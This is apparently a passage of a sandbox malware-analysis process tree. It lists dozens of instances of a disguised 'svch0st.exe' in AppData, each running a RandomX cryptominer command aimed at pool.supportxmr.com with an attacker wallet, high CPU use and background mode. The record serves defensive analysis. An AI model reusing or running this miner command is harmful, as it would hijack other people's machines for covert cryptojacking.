        PID:13760
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        114⤵
        
        PID:13844
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        115⤵
        
        PID:13980
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        116⤵
        
        PID:14112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        117⤵
        
        PID:14196
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        118⤵
        
        PID:14300
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        119⤵
        
        PID:14216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        120⤵
        
        PID:14400
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        121⤵
        
        PID:14524
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        122⤵
        
        PID:14628
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        123⤵
        
        PID:14764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        124⤵
        
        PID:14856
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        125⤵
        
        PID:14952
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        126⤵
        
        PID:15060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        127⤵
        
        PID:15176
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        128⤵
        
        PID:15272
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        129⤵
        
        PID:14552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        130⤵
        
        PID:15384
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        131⤵
        
        PID:15500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        132⤵
        
        PID:15604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        133⤵
        
        PID:15708
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        134⤵
        
        PID:15796
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        135⤵
        
        PID:15908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        136⤵
        
        PID:16016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        137⤵
        
        PID:16124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        138⤵
        
        PID:16232
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        139⤵
        
        PID:16340
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        140⤵
        
        PID:16148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        141⤵
        
        PID:16468
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        142⤵
        
        PID:16568
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        143⤵
        
        PID:16660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        144⤵
        
        PID:16760
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        145⤵
        
        PID:16876
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        146⤵
        
        PID:16972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        147⤵
        
        PID:17096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        148⤵
        
        PID:17196
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        149⤵
        
        PID:17316
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        150⤵
        
        PID:16352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        151⤵
        
        PID:17416
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        152⤵
        
        PID:17536
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        153⤵
        
        PID:17612
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        154⤵
        
        PID:17744
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        155⤵
        
        PID:17840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        156⤵
        
        PID:17936
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        157⤵
        
        PID:18036
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        158⤵
        
        PID:18116
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        159⤵
        
        PID:18192
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        160⤵
        
        PID:18296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        161⤵
        
        PID:18404
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        162⤵
        
        PID:18324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        163⤵
        
        PID:18524
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        164⤵
        
        PID:18620
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        165⤵
        
        PID:18756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        166⤵
        
        PID:18852
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        167⤵
        
        PID:18940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        168⤵
        
        PID:19044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        169⤵
        
        PID:19148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        170⤵
        
        PID:19264
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        171⤵
        
        PID:19360
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        172⤵
        
        PID:18700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        173⤵
        
        PID:19176
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        174⤵
        
        PID:19536
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        175⤵
        
        PID:19640
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        176⤵
        
        PID:19812
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        177⤵
        
        PID:19888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        178⤵
        
        PID:19992
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        179⤵
        
        PID:20096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
